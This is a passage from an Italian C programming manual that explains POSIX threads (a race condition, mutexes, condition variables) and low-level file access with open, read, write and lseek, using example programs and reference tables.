I thread dell'esempio vengono avviati con insiemi di dati differenti, in modo che: il thread ***pthread_3*** emetta la lettera «c» per tre volte, il thread ***pthread_2*** emetta la lettera «b» per sei volte e che il thread ***pthread_1*** emetta la lettera «a» per dodici volte.

Il risultato visibile sullo schermo assomiglia a una sequenza come questa:

```
cbaaaaaabcaaaabacabbb
```

79.4.5 Conflitto nell'accesso ai dati

Quando un thread opera su dati propri (a cui nessun altro thread, nemmeno quello principale, accede in scrittura), tutto fila liscio senza preoccupazioni. Ma la realtà richiede generalmente che i thread si scambino dei dati, pertanto, quando si aggiorna un'informazione, occorre un modo per escludere gli altri thread dall'interferire.

Nell'esempio successivo si crea volutamente una situazione di conflitto tra alcuni thread che modificano simultaneamente una variabile, denominata ***global***, il cui scopo sarebbe quello di contare i caratteri mostrati sullo schermo. Il file dovrebbe essere disponibile presso ⟨*allegati/c/esempio-posix-thread-2.c* ⟩.

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>

struct Arguments {
    char x;
    int  max;
};
```

```
int global;

void *
pthread_function (void *arguments)
{
    struct Arguments *arg = (struct Arguments *) arguments;
    long int i;
    long int m = (rand () / 10);
    int g;

    for (i = 0; i < (arg->max * m); i++)
      {
        g = global;
        if ((i % m) == 0)
          {
            printf ("%c", arg->x);
            fflush (stdout);
            g++;
            global = g;
          }
      }
    return NULL;
}

int
main (void)
{
    pthread_t pthread_1;
    pthread_t pthread_2;
    pthread_t pthread_3;

    struct Arguments arg_1 = {'a', 12};
    struct Arguments arg_2 = {'b',  6};
    struct Arguments arg_3 = {'c',  3};

    int status_1;
    int status_2;
    int status_3;

    global = 0;

    srand (1234567);

    status_3 = pthread_create (&pthread_3, NULL, pthread_function, &arg_3);
    status_2 = pthread_create (&pthread_2, NULL, pthread_function, &arg_2);
    status_1 = pthread_create (&pthread_1, NULL, pthread_function, &arg_1);

    if ((status_1 + status_2 + status_3) != 0)
      {
```

```
          fprintf (stderr, "Errore nella creazione dei \"thread\"!\n");
          abort ();
        }

    status_1 = pthread_join (pthread_1, NULL);
    status_2 = pthread_join (pthread_2, NULL);
    status_3 = pthread_join (pthread_3, NULL);

    if ((status_1 + status_2 + status_3) != 0)
      {
        fprintf (stderr, "Errore nella fusione dei \"thread\"!\n");
        abort ();
      }

    printf ("\n");
    printf ("La variabile globale ha raggiunto il valore %i.\n", global);

    return (0);
}
```

Provando a eseguire il programma di esempio, si potrebbero osservare messaggi molto simili a quelli seguenti:

```
cbaaaaaacbaaaaabcabbb
La variabile globale ha raggiunto il valore 19.
```

In questo caso la variabile globale che viene modificata dalla funzione ***pthread_function()*** ha raggiunto solo il valore 19, mentre il valore atteso sarebbe di 21 (essendo visualizzati 21 caratteri sullo schermo). Naturalmente può succedere che il valore ottenuto dalla variabile sia corretto, ma non ci si può contare, perché non è possibile prevedere la sequenza effettiva delle operazioni.

Naturalmente, si può migliorare la funzione ***pthread_function()*** per ridurre al minimo la possibilità di accavallamenti tra le attività dei vari thread, ma anche così non si può avere la garanzia di evitare i conflitti:[2]

```
void *
pthread_function (void *arguments)
{
    struct Arguments *arg = (struct Arguments *) arguments;
    long int i;
    long int m = (rand () / 10);
    int g;
    //
    for (i = 0; i < (arg->max * m); i++)
      {
        if ((i % m) == 0)
          {
            printf ("%c", arg->x);
```

```
            fflush (stdout);
            g = global;
            g++;
            global = g;
          }
      }
    return NULL;
}
```

79.4.6 Accesso alle risorse in modo mutualmente esclusivo

Per accedere simultaneamente, in modo ordinato, a dati condivisi, occorre definire dei ***mutex***, ovvero delle variabili che hanno il ruolo di «lucchetto» per definire un accesso mutualmente esclusivo a una certa area di dati. In altri termini, una volta definita una certa attività da svolgere in modo esclusivo, in un certo insieme di dati, gli si associa una variabile speciale con funzione di mutex (lucchetto mutualmente esclusivo) e prima di entrare nella zona critica che richiede un accesso esclusivo a quell'insieme di dati, si cerca di ottenere tale esclusività con una funzione che interroga e modifica la variabile mutex.

```
...
pthread_mutex_t mutex_1 = PTHREAD_MUTEX_INITIALIZER;

void *
pthread_function (void *arguments)
{
    struct Arguments *arg = (struct Arguments *) arguments;
    long int i;
    long int m = (rand () / 1000);
    int g;

    for (i = 0; i < (arg->max * m); i++)
      {
        pthread_mutex_lock (&mutex_1);
        g = global;
        if ((i % m) == 0)
          {
            printf ("%c", arg->x);
            fflush (stdout);
            g++;
            global = g;
          }
        pthread_mutex_unlock (&mutex_1);
      }
    return NULL;
}
...
```

L'estratto di esempio appena mostrato mette in evidenza le modifiche da apportare per gestire il meccanismo di accesso mutualmente esclusivo. In questo caso la porzione di codice da eseguire in modo mutualmente esclusivo va dalla lettura della variabile globale alla sua modifica successiva: nell'esempio le operazioni sono tenute distanti per dimostrare il funzionamento, dato che sarebbe meglio ridurre al minimo il tempo in cui un thread blocca un mutex.

La variabile globale '**`mutex_1`**' viene dichiarata di tipo '**`pthread_mutex_t`**' (presumibilmente si tratta di una struttura) e viene inizializzata attraverso una macro-variabile appropriata alle sue caratteristiche. Successivamente, prima di entrare nella zona critica, il thread deve richiedere l'accesso esclusivo attraverso la funzione ***pthread_mutex_lock()***, specificando il riferimento alla variabile che costituisce il mutex del contesto. Quando il thread ottiene l'accesso esclusivo può riprendere la sua esecuzione e, quando non ha più bisogno di impegnare il mutex, lo libera, con la funzione ***pthread_mutex_unlock()***.

Per completezza viene mostrato il programma di esempio completo. Il file dovrebbe essere disponibile presso ⟨*allegati/c/esempio-posix-thread-3.c*⟩.

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>

struct Arguments {
    char x;
    int  max;
};

int global;

pthread_mutex_t mutex_1 = PTHREAD_MUTEX_INITIALIZER;

void *
pthread_function (void *arguments)
{
    struct Arguments *arg = (struct Arguments *) arguments;
    long int i;
    long int m = (rand () / 1000);
    int g;
    //
    for (i = 0; i < (arg->max * m); i++)
      {
        pthread_mutex_lock (&mutex_1);
        g = global;
        if ((i % m) == 0)
          {
            printf ("%c", arg->x);
            fflush (stdout);
            g++;
            global = g;
          }
        pthread_mutex_unlock (&mutex_1);
      }
```

```
    return NULL;
}

int
main (void)
{
    pthread_t pthread_1;
    pthread_t pthread_2;
    pthread_t pthread_3;

    struct Arguments arg_1 = {'a', 12};
    struct Arguments arg_2 = {'b',  6};
    struct Arguments arg_3 = {'c',  3};

    int status_1;
    int status_2;
    int status_3;

    global = 0;

    srand (1234567);

    status_3 = pthread_create (&pthread_3, NULL, pthread_function, &arg_3);
    status_2 = pthread_create (&pthread_2, NULL, pthread_function, &arg_2);
    status_1 = pthread_create (&pthread_1, NULL, pthread_function, &arg_1);

    if ((status_1 + status_2 + status_3) != 0)
      {
        fprintf (stderr, "Errore nella creazione dei \"thread\"!\n");
        abort ();
      }

    status_1 = pthread_join (pthread_1, NULL);
    status_2 = pthread_join (pthread_2, NULL);
    status_3 = pthread_join (pthread_3, NULL);

    if ((status_1 + status_2 + status_3) != 0)
      {
        fprintf (stderr, "Errore nella fusione dei \"thread\"!\n");
        abort ();
      }

    printf ("\n");
    printf ("La variabile globale ha raggiunto il valore %i.\n", global);

    return (0);
}
```

Eseguendo il programma si può osservare che non si creano più accavallamenti nella scrittura della variabile globale e il risultato finale è sempre corretto:

```
cbaaaaaabcaaaaaabcbbb
La variabile globale ha raggiunto il valore 21.
```

Come già descritto nella sezione precedente, è sicuramente meglio ridurre al minimo la zona critica, in modo che anche con l'ausilio delle variabili mutex non sia penalizzata la simultaneità di esecuzione dei thread:

```
void *
pthread_function (void *arguments)
{
    struct Arguments *arg = (struct Arguments *) arguments;
    long int i;
    long int m = (rand () / 10000);
    int g;

    for (i = 0; i < (arg->max * m); i++)
      {
        if ((i % m) == 0)
          {
            printf ("%c", arg->x);
            fflush (stdout);
            pthread_mutex_lock (&mutex_1);
            g = global;
            g++;
            global = g;
            pthread_mutex_unlock (&mutex_1);
          }
      }
    return NULL;
}
```

79.4.7 Accesso esclusivo, ma condizionato

Può darsi che l'accesso esclusivo a una zona critica debba avvenire solo al verificarsi di una certa condizione. In altri termini, può darsi che prima di intervenire effettivamente in un certo insieme di dati, un thread debba attendere che questi siano pronti. Per ottenere questo risultato, generalmente, a fianco della variabili mutex, si associano delle variabili che rappresentano il verificarsi di una certa condizione, da gestire anche queste attraverso funzioni apposite dei thread POSIX.

L'estratto seguente mostra le modifiche importanti agli esempi già apparsi, per produrre una situazione in cui i thread devono attendere il verificarsi di una condizione per procedere con il loro intervento nell'area critica:

```
struct Arguments {
    char x;
    int  max;
    int  delay;
```

```
};

int global;

pthread_mutex_t mutex_1 = PTHREAD_MUTEX_INITIALIZER;
pthread_cond_t  cond_1  = PTHREAD_COND_INITIALIZER;

void *
pthread_function (void *arguments)
{
    struct Arguments *arg = (struct Arguments *) arguments;
    long int i;
    long int m = (rand () / 10000);
    int g;

    for (i = 0; i < (arg->max * m); i++)
      {
        if ((i % m) == 0)
          {
            pthread_mutex_lock (&mutex_1);
            while (global < arg->delay)
              {
                pthread_cond_wait (&cond_1, &mutex_1);
              }
            printf ("%c", arg->x);
            fflush (stdout);
            g = global;
            g++;
            global = g;
            pthread_cond_broadcast (&cond_1);
            pthread_mutex_unlock (&mutex_1);
          }
      }
    return NULL;
}
```

Questa volta, la struttura che costituisce gli argomenti della funzione ***pthread_function()*** ha un'informazione in più, che rappresenta un ritardo da inserire prima di iniziare a mostrare i caratteri sullo schermo. In pratica, se la variabile globale ha raggiunto o superato quel tale valore, il thread può procedere con il proprio lavoro, altrimenti deve rimanere in attesa.

Per ottenere questo risultato, la variabile globale '**`cond_1`**' viene dichiarata con il tipo '**`pthread_cond_t`**', allo scopo di poter rappresentare le condizioni dei thread, e viene inizializzata con una macro-variabile appropriata alle sue caratteristiche effettive. Il thread, prima cerca di ottenere un accesso esclusivo, quindi, se lo ottiene, inizia un ciclo in attesa del verificarsi della condizione, richiamando ripetutamente la funzione ***pthread_cond_wait()***, con il riferimento alla variabile della condizione e a quella del mutex.

La chiamata della funzione ***pthread_cond_wait()*** fa sì che il thread che aveva ottenuto l'accesso esclusivo venga messo in pausa, a vantaggio di un altro che può così ottenere l'accesso esclusivo alla zona critica. La pausa in cui si trova il primo thread può terminare nel momento in cui viene usata la funzione ***pthread_cond_broadcast()***, con il riferimento alla condizione che aveva prodotto la sospensione e poi anche la funzione ***pthread_mutex_unlock()***.

Il thread che era stato messo in pausa dalla funzione ***pthread_cond_wait()***, riprende quando tale funzione ha riottenuto l'accesso esclusivo in base alla propria variabile mutex.

Logicamente, occorre fare attenzione a non creare una situazione in per cui tutti i thread si mettono in pausa per qualcosa che non si verifica.

Segue il programma di esempio, completo di tutte le sue parti. Il file dovrebbe essere disponibile presso ⟨*allegati/c/esempio-posix-thread-4.c*⟩.

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>

struct Arguments {
    char x;
    int  max;
    int  delay;
};

int global;

pthread_mutex_t mutex_1 = PTHREAD_MUTEX_INITIALIZER;
pthread_cond_t  cond_1  = PTHREAD_COND_INITIALIZER;

void *
pthread_function (void *arguments)
{
    struct Arguments *arg = (struct Arguments *) arguments;
    long int i;
    long int m = (rand () / 10000);
    int g;

    for (i = 0; i < (arg->max * m); i++)
      {
        if ((i % m) == 0)
          {
            pthread_mutex_lock (&mutex_1);
            while (global < arg->delay)
              {
                pthread_cond_wait (&cond_1, &mutex_1);
              }
            printf ("%c", arg->x);
            fflush (stdout);
            g = global;
            g++;
            global = g;
```

```
            pthread_cond_broadcast (&cond_1);
            pthread_mutex_unlock (&mutex_1);
          }
      }
    return NULL;
}

int
main (void)
{
    pthread_t pthread_1;
    pthread_t pthread_2;
    pthread_t pthread_3;

    struct Arguments arg_1 = {'a', 12,  0};
    struct Arguments arg_2 = {'b',  6,  5};
    struct Arguments arg_3 = {'c',  3, 10};

    int status_1;
    int status_2;
    int status_3;

    global = 0;

    srand (1234567);

    status_3 = pthread_create (&pthread_3, NULL, pthread_function, &arg_3);
    status_2 = pthread_create (&pthread_2, NULL, pthread_function, &arg_2);
    status_1 = pthread_create (&pthread_1, NULL, pthread_function, &arg_1);

    if ((status_1 + status_2 + status_3) != 0)
      {
        fprintf (stderr, "Errore nella creazione dei \"thread\"!\n");
        abort ();
      }

    status_1 = pthread_join (pthread_1, NULL);
    status_2 = pthread_join (pthread_2, NULL);
    status_3 = pthread_join (pthread_3, NULL);

    if ((status_1 + status_2 + status_3) != 0)
      {
        fprintf (stderr, "Errore nella fusione dei \"thread\"!\n");
        abort ();
      }

    printf ("\n");
    printf ("La variabile globale ha raggiunto il valore %i.\n", global);

    return (0);
```

```
}
```

Eseguendo il programma si può ottenere un risultato simile a quello seguente:

```
aaaaabbbbbcbccaaaaaaa
La variabile globale ha raggiunto il valore 21.
```

Nel programma di esempio, il thread associato alla variabile '**pthread_1**' può visualizzare subito i suoi caratteri sullo schermo, mentre quello associato a '**pthread_2**' deve attendere che sia stato visualizzato il quinto, mentre quello associato a '**pthread_3**' deve attendere che sia stato visualizzato il decimo. Naturalmente, se tutti i thread avviati dovessero attendere qualche carattere prima di poter iniziare, questi si bloccherebbero a vicenda, irrimediabilmente; inoltre, lo stesso succederebbe se ci fosse anche un solo thread che deve attendere un valore per la variabile '**global**' che non può essere raggiunto senza il proprio apporto.

79.4.8 Osservazioni finali

Lo standard POSIX prevede una discreta quantità di funzioni per la gestione dei thread; pertanto quanto descritto in questo capitolo è solo il minimo indispensabile per comprenderne il meccanismo. In modo particolare, va tenuto in considerazione che per l'inizializzazione delle variabili mutex e di quelle che rappresentano le condizioni, si possono usare funzioni apposite che non sono state descritte.

Il fatto che ci siano thread distinti rispetto a quello principale, ha delle implicazioni anche sull'invio dei segnali e sulla possibilità di una loro conclusione anticipata. Pertanto sono disponibili le funzioni ***pthread_kill()*** e ***pthread_exit()***, rivolte specificatamente ai thread (escluso sempre il flusso principale):

```
int pthread_kill (pthread_t tid, int segnale);
```

```
void pthread_exit (void *valore_da_restituire);
```

Infine può essere utile la funzione ***pthread_self()***, per ottenere il numero identificativo del thread attuale:

```
pthread_t pthread_self (void);
```

79.5 I file secondo i sistemi POSIX

Il linguaggio C, puro e semplice, prevede una gestione dei file basilare, attraverso il tipo derivato '**`FILE`**', per cui un file aperto è un «flusso», identificato da un puntatore al tipo '**`FILE`**'. Lo standard dei sistemi Unix comporta un'infrastruttura più articolata per la gestione dei file, al di sotto di quanto già descrive il C, introducendo il concetto di ***descrittore di file***, corrispondente a un numero intero normale positivo. Le funzioni e le macro-variabili principali per l'apertura e il controllo dei file, secondo la mediazione del concetto di descrittore, sono indicati nel file di intestazione '`fcnt.h`' (*file control*), ma per amministrare le caratteristiche dei file, servono le definizioni e le funzioni del file di intestazione '`sys/stat.h`'; inoltre, altre funzioni importanti al riguardo si trovano nel file '`unistd.h`'.

L'apertura di un file, dal punto di vista dei sistemi Unix (e quindi POSIX), implica non solo l'associazione al numero del descrittore, ma anche l'attribuzione di opzioni di funzionamento ed eventualmente un sistema di blocco di porzioni del file. La creazione di un file implica l'attribuzione di permessi, nel rispetto però della maschera dei permessi esistente.

Va osservato che anche i flussi di file standard del linguaggio C, trovano una corrispondenza nello standard POSIX in altrettanti descrittori già assegnati, costituiti precisamente dai primi tre:

Denominazione	flusso di file C	numero del descrittore POSIX
standard input	`stdin`	0
standard output	`stdout`	1
standard error	`stderr`	2

Lo standard POSIX prescrive che i numeri dei descrittori siano assegnati usando sempre il valore libero più piccolo; pertanto, il primo descrittore a essere utilizzato, dato che i primi tre sono impegnati per i flussi standard, è il numero tre e di seguito vanno i successivi.

79.5.1 Apertura e chiusura di un file

L'apertura ed eventuale creazione di un file, secondo le convenzioni POSIX, va eseguita utilizzando la funzione ***open()***. Per motivi storici esiste anche la funzione ***creat()*** che però ha meno possibilità di ***open()***, pertanto il suo utilizzo non è indispensabile.

```
int open (const char *file, int oflag [, mode_t mode]);
```

```
int creat (const char *file, mode_t mode);
```

La funzione ***open()*** apre un file, indicato attraverso una stringa che descrive il suo percorso (relativo o assoluto che sia) secondo le convenzioni POSIX e restituisce il numero del suo descrittore; se però restituisce il valore −1, significa che l'operazione non ha avuto successo e di conseguenza è stato modificato il contenuto della variabile ***errno*** (la quale può essere esaminata per determinarne la causa).

Il valore costituito dal parametro ***oflag*** viene ottenuto combinando assieme, con l'operatore OR binario, una serie di macro-variabili definite nel file '`fcntl.h`', tenendo conto che non tutte le combinazioni sono ammissibili simultaneamente. Se si utilizza l'opzione rappresentata dalla macro-variabile ***O_CREAT***, per richiedere la creazione del file, va usato anche il terzo parametro della funzione, con cui si specifica la modalità di creazione dello stesso.

Tabella 79.47. Macro-variabili da utilizzare per combinare il valore del parametro ***oflag***. Di queste macro-variabili, in particolare, ne va scelta una sola e si è obbligati a usarla per specificare la modalità di accesso al file: in sola lettura, in sola scrittura o in entrambi i modi.

Macro-variabile	Significato
`O_RDONLY`	Si richiede l'apertura del file in sola lettura.
`O_WRONLY`	Si richiede l'apertura del file in sola scrittura.
`O_RDWR`	Si richiede l'apertura del file in lettura e scrittura.

Tabella 79.48. Alcune delle macro-variabili da utilizzare per combinare il valore del parametro ***oflag***. Non tutte le combinazioni di queste opzioni sono ammissibili.

Macro-variabile	Significato
`O_APPEND`	Questa opzione fa in modo che la scrittura avvenga sempre in estensione del contenuto già esistente.
`O_CREAT`	Questa opzione richiede la creazione del file, ammesso che non esista già. Nel caso il file sia effettivamente da creare, vale la modalità di creazione specificata con il parametro ***mode***.
`O_TRUNC`	Questa opzione si può associare solo a una richiesta di accesso in scrittura (in sola scrittura o in lettura e scrittura simultaneamente) relativa a un file normale, con lo scopo di azzerarne il contenuto se questo file esiste già.
`O_EXCL`	Questa opzione può essere usata solo in abbinamento a '**`O_CREAT`**' e richiede la creazione del file o il fallimento dell'operazione se questo esiste già, anche nel caso si tratti solo di un collegamento simbolico che punta a un file inesistente.
`O_NOCTTY`	Questa opzione fa sì che se il file indicato corrisponde a un dispositivo di terminale, questo non possa diventare in alcun caso il terminale di controllo abbinato al processo.
`O_NONBLOCK`	Questa opzione richiede di non attendere per la conclusione delle operazioni, ammesso che ciò sia possibile in base al contesto.
`O_SYNC`	Questa opzione richiede che le operazioni di accesso al file avvengano in modo sincrono rispetto all'hardware. Pertanto, in questo modo, le operazioni di scrittura comportano l'attesa che queste siano realizzate effettivamente.

Il parametro ***mode*** riguarda esclusivamente la creazione del file (specificando l'indicatore '**`O_CREAT`**'). In tal caso, si tratta del numero che esprime i permessi da dare al file. Si tratta degli stessi permessi che si indicano con programmi come '**`chmod`**', quando si usa la forma numerica, e si scrivono preferibilmente in base otto. Naturalmente, i permessi indicati vengono poi filtrati attraverso la maschera dei permessi, come se fosse eseguita questa operazione: '**`(`*****mode*** **`&`** **`~`*****umask*****`)`**'. Se lo si preferisce, al posto di indicare i permessi richiesti, direttamente in forma numerica, ci si può avvalere di macro-variabili dichiarate nel file di intestazione '`sys/stat.h`', come descritto nella tabella successiva.

Tabella 79.49. Macro-variabili per esprimere i permessi da attribuire a un file che si vuole creare.

Macro-variabile	Valore numerico equivalente	Significato
`S_IRWXU`	0700_8	Rappresenta tutti i permessi di lettura, scrittura ed esecuzione o accesso, per l'utente proprietario.
`S_IRUSR`	0400_8	Rappresenta il permesso di lettura per l'utente proprietario.
`S_IWUSR`	0200_8	Rappresenta il permesso di scrittura per l'utente proprietario.
`S_IXUSR`	0100_8	Rappresenta il permesso di esecuzione o attraversamento per l'utente proprietario.
`S_IRWXG`	0070_8	Rappresenta tutti i permessi di lettura, scrittura ed esecuzione o accesso, per il gruppo proprietario.
`S_IRGRP`	0040_8	Rappresenta il permesso di lettura per il gruppo proprietario.
`S_IWGRP`	0020_8	Rappresenta il permesso di scrittura per il gruppo proprietario.
`S_IXGRP`	0010_8	Rappresenta il permesso di esecuzione o attraversamento per il gruppo proprietario.
`S_IRWXO`	0007_8	Rappresenta tutti i permessi di lettura, scrittura ed esecuzione o accesso, per gli altri utenti.
`S_IROTH`	0004_8	Rappresenta il permesso di lettura per gli altri utenti.
`S_IWOTH`	0002_8	Rappresenta il permesso di scrittura per gli altri utenti.
`S_IXOTH`	0001_8	Rappresenta il permesso di esecuzione o attraversamento per gli altri utenti.
`S_ISUID`	4000_8	Rappresenta l'attivazione del bit S-UID.
`S_ISGID`	2000_8	Rappresenta l'attivazione del bit S-GID.
`S_ISVTX`	1000_8	Rappresenta l'attivazione del bit Sticky.

Come già accennato, la funzione ***creat()*** non è più indispensabile e può essere sostituita da ***open()***, usata nel modo seguente:

```
open (file, O_WRONLY|O_CREAT|O_TRUNC, mode)
```

Segue un esempio molto semplice in cui si apre un file in scrittura, specificando che se non esiste già, questo va creato, con tutti i permessi che la maschera dei permessi esistente consenta di attribuire. In caso di errore, il contenuto della variabile ***errno*** viene considerato con l'aiuto della funzione ***perror()***. Il file dell'esempio dovrebbe essere disponibile presso ⟨*allegati/c/esempio-posix-fcntl-open.c*⟩.

```
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

int
```

```
main (void)
{
    const char *file = "/tmp/test";
    int fdn;

    fdn = open (file, O_WRONLY|O_CREAT, 07777);

    if (fdn >= 0)
      {
        printf ("Aperto il file \"%s\", ", file);
        printf ("associandolo al descrittore %i.\n", fdn);
        close (fdn);
      }
    else
      {
        printf ("Non è possibile aprire il file \"%s\"!\n", file);
        perror (NULL);
      }

    return (0);
}
```

La funzione ***open()*** richiede l'inclusione del file '`fcntl.h`', nel quale sono dichiarate anche la macro-variabili ***O_WRONLY*** e ***O_CREAT***; ma per la funzione ***close()*** è necessario includere anche il file '`unistd.h`'.

Come si vede, i permessi da attribuire al file che venisse creato sono tutti quelli disponibili (7777_8). Eventualmente, aggiungendo anche l'inclusione del file '`sys/stat.h`', sarebbe possibile indicare tale richiesta attraverso macro-variabili convenzionali:

```
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

    …
    fdn = open (file, O_WRONLY|O_CREAT, S_IRUSR|S_IWUSR|S_IRGRP);
    …
```

In questo esempio, però, i permessi richiesti sono minori, corrispondenti al numero 0640_8.

Va osservato che la funzione ***open()*** può aprire ogni tipo di file, ma può creare solo dei file «normali». Per creare directory e altri tipi di file speciali si usano funzioni apposite. D'altro canto, per attribuire a un file dei permessi, è possibile usare la funzione ***chmod()*** e non è strettamente necessario occuparsene nel momento della creazione.

La funzione ***close()***, già mostrata nell'esempio, ha un prototipo molto semplice: richiede l'indicazione del descrittore del file da chiudere e restituisce zero se tutto va bene, altrimenti produce il valore -1 e aggiorna la variabile ***errno***:

```
int close (int descrittore);
```

79.5.2 Lettura e scrittura

Come per le funzioni dello standard C, anche per quelle a livello POSIX si accede al contenuto del file attraverso un indicatore della posizione espresso in byte (con la differenza che non si pone il problema di distinguere tra file di testo e file binari). A ogni descrittore di file sono associate delle informazioni, amministrate in modo trasparente dal sistema operativo, e a queste si accede solo attraverso delle funzioni. Tra queste informazioni si trova anche l'indicatore che consente di determinare la posizione iniziale per la lettura o la scrittura.

A seconda di come viene aperto il file, l'indicatore della posizione che lo riguarda viene inizializzato nel modo più logico, come descritto a proposito della funzione ***open()***. Questo indicatore viene spostato automaticamente a seconda delle operazioni di lettura e scrittura che si compiono, tuttavia, quando si passa da una modalità di accesso all'altra, è necessario spostare l'indicatore attraverso le istruzioni opportune, in modo da non creare ambiguità.

Per la lettura di un file aperto e qualificato con un descrittore, si può usare la funzione ***read()*** che legge una quantità di byte trattandoli come un array. Si osservi l'esempio seguente:

```
…
char buf[100];
int fdn;
ssize_t dim;
…
fdn = open (…);
…
dim = read (fdn, buf, 100);
…
```

In questo modo si intende leggere 100 byte, collocandoli nell'array ***buf***, con la stessa capacità massima. Naturalmente, non è detto che la lettura abbia successo, o quantomeno non è detto che si riesca a leggere la quantità di elementi richiesta. Il valore restituito dalla funzione rappresenta la quantità di byte letti effettivamente. Se si verifica un qualsiasi tipo di errore che impedisce la lettura, la funzione si limita a restituire -1, mentre lo zero è un risultato valido e indica che la lettura è giunta alla fine del file.

Quando il file viene aperto in lettura, in condizioni normali l'indicatore interno viene posizionato all'inizio del file; quindi, ogni operazione di lettura sposta in avanti il puntatore, in modo che la prossima lettura avvenga a partire dalla posizione immediatamente successiva:

```
    …
    char buf[100];
    int fdn;
    ssize_t dim;
    …
    fdn = open (…);
    …
    while (1)           // Ciclo senza fine.
      {
        dim = read (fdn, buf, 100);
        if (dim == 0)
          {
            break;      // Termina il ciclo.
          }
        …
      }
    …
```

In questo modo, come mostra l'esempio, viene letto tutto il file a colpi di 100 byte alla volta, tranne l'ultima in cui si ottiene solo quello che resta da leggere.

Analogamente, la scrittura può essere eseguita con la funzione ***write()*** che scrive una quantità di byte trattandoli come un array, nello stesso modo già visto con la funzione ***read()***. Anche in questo caso, la scrittura procede a partire dalla posizione corrente riferita al file.

```
…
    char buf[100];
    int fdn;
    ssize_t dim;
    …
    fdn = open (…);
    …
    dim = write (fdn, buf, 100);
    …
```

L'esempio, come nel caso di ***read()***, mostra la scrittura di 100 byte, prelevati da un array. Il valore restituito dalla funzione è la quantità di elementi che sono stati scritti con successo. Se si verifica un errore la funzione restituisce il valore -1, mentre lo zero è un valore valido.

Anche in scrittura è importante l'indicatore della posizione interna del file. Di solito, quando si crea un file o lo si estende, l'indicatore si trova sempre alla fine. L'esempio seguente mostra lo scheletro di un programma che crea un file, copiando il contenuto di un altro (non viene utilizzato alcun tipo di controllo degli errori).

```
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
…
int
main (void)
```

```
{
    char           buf[1024];
    int            fdn_in;
    int            fdn_out;
    ssize_t        dim;
    ...
    fdn_in = open (file, O_RDONLY);
    ...
    fdn_out = open (file, O_WRONLY);
    ...
    while (1)                    // Ciclo senza fine.
      {
        dim = read (fdn, buf, 1024);
        if (dim == 0)
          {
            break;               // Termina il ciclo.
          }
        ...
        write (fdn_out, buf, dim);
        ...
      }
    ...
    close (fdn_in);
    close (fdn_out);
    return 0;
}
```

Seguono i modelli sintattici di ***read()*** e ***write()***, espressi in forma di prototipi di funzione:

```
ssize_t read (int fdn, void *buf, size_t n);
```

```
ssize_t write (int fdn, const void *buf, size_t n);
```

Il tipo di dati '**`ssize_t`**' rappresenta l'equivalente di '**`size_t`**', ma con segno, allo scopo di poter rappresentare il valore -1, che indica un esito errato; il tipo '**`void`**' per l'array in cui vanno scritti o da cui vanno letti i dati, permette l'utilizzo di qualunque tipo per i suoi elementi, anche se le operazioni di lettura e scrittura operano solo al livello di byte.

79.5.3 Spostamento dell'indicatore interno al file

Lo spostamento diretto dell'indicatore interno della posizione di un file aperto è un'operazione necessaria quando il file è stato aperto simultaneamente in lettura e in scrittura, e da un tipo di operazione si vuole passare all'altro. Per questo si utilizza la funzione ***lseek()***, con la quale è possibile leggere e modificare tale posizione attuale. La posizione e gli spostamenti sono espressi in byte; la variabile usata per rappresentare questi spostamenti è di tipo '**`off_t`**' (*offset*).

La funzione ***lseek()*** esegue lo spostamento a partire dall'inizio del file, oppure dalla posizione attuale, oppure dalla posizione finale. Per questo utilizza un parametro che può avere tre valori identificati rispettivamente da tre macro-variabili, definite all'interno del file '`stdio.h`': ***SEEK_SET***, ***SEEK_CUR*** e ***SEEK_END***. l'esempio seguente mostra lo spostamento del puntatore, riferito al descrittore di file ***fdn***, in avanti di 10 byte, a partire dalla posizione attuale.

```
...
i = lseek (fdn, 10, SEEK_CUR);
...
```

La funzione ***lseek()*** restituisce la posizione raggiunta all'interno del file, partendo dall'inizio dello stesso, se lo spostamento avviene con successo, altrimenti produce il valore -1.

L'esempio seguente mostra lo scheletro di un programma, senza controlli sugli errori, che, dopo aver aperto un file in lettura e scrittura, lo legge a blocchi di dimensioni uguali, modifica questi blocchi e li riscrive nel file. Il file dell'esempio dovrebbe essere disponibile presso ⟨*allegati/c/esempio-posix-read-write.c* ⟩.

```
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

static const size_t max = 100;          // Dimensione massima del
                                        // record logico.
int
main (void)
{
  const char   *file = "/tmp/test";   // File da elaborare.
  char          buf[max];             // Allocazione del record.
  int           fdn;                  // Descrittore del file.
  off_t         pos_1;                // Posizione interna al file.
  off_t         pos_2;                // Posizione interna al file.
  ssize_t       dim;                  // Dimensione del record letto.

  fdn = open (file, O_RDWR);

  while (1)                           // Ciclo senza fine.
    {
      //
      // Salva la posizione del puntatore interno al file
      // prima di eseguire la lettura.
      //
```

```
        pos_1 = lseek (fdn, 0, SEEK_CUR);

        dim = read (fdn, buf, max);

        if (dim == 0)
          {
            break;                      // Termina il ciclo.
          }
        //
        // Salva la posizione del puntatore interno al file
        // dopo la lettura.
        //
        pos_2 = lseek (fdn, 0, SEEK_CUR);
        //
        // Sposta il puntatore alla posizione precedente alla lettura.
        //
        lseek (fdn, pos_1, SEEK_SET);
        //
        // Esegue qualche modifica nei dati, per esempio mette un
        // punto esclamativo all'inizio.
        //
        buf[0] = '!';
        //
        // Riscrive il record modificato.
        //
        write (fdn, buf, dim);
        //
        // Riporta il puntatore interno al file alla posizione
        // corretta per eseguire la lettura successiva
        //
        lseek (fdn, pos_2, SEEK_SET);
    }

    close (fdn);
    return 0;
}
```

Segue il modello sintattico per l'uso della funzione ***lseek()***, espresso attraverso il suo prototipo:

```
off_t lseek (int fdn, off_t spostamento, int punto_di_partenza);
```

Il valore dello spostamento, costituito dal secondo parametro, rappresenta una quantità di byte che può essere anche negativa, indicando in tal caso un arretramento dal punto di partenza specificato dal terzo parametro. Il valore restituito da ***lseek()*** è la nuova posizione all'interno del file, espressa a partire dall'inizio dello stesso (pertanto deve trattarsi di un valore maggiore o uguale a zero); se invece si presenta un errore, si ottiene -1 (precisamente si definisce come '**`(off_t) -1`**').

79.5.4 Controllo degli errori

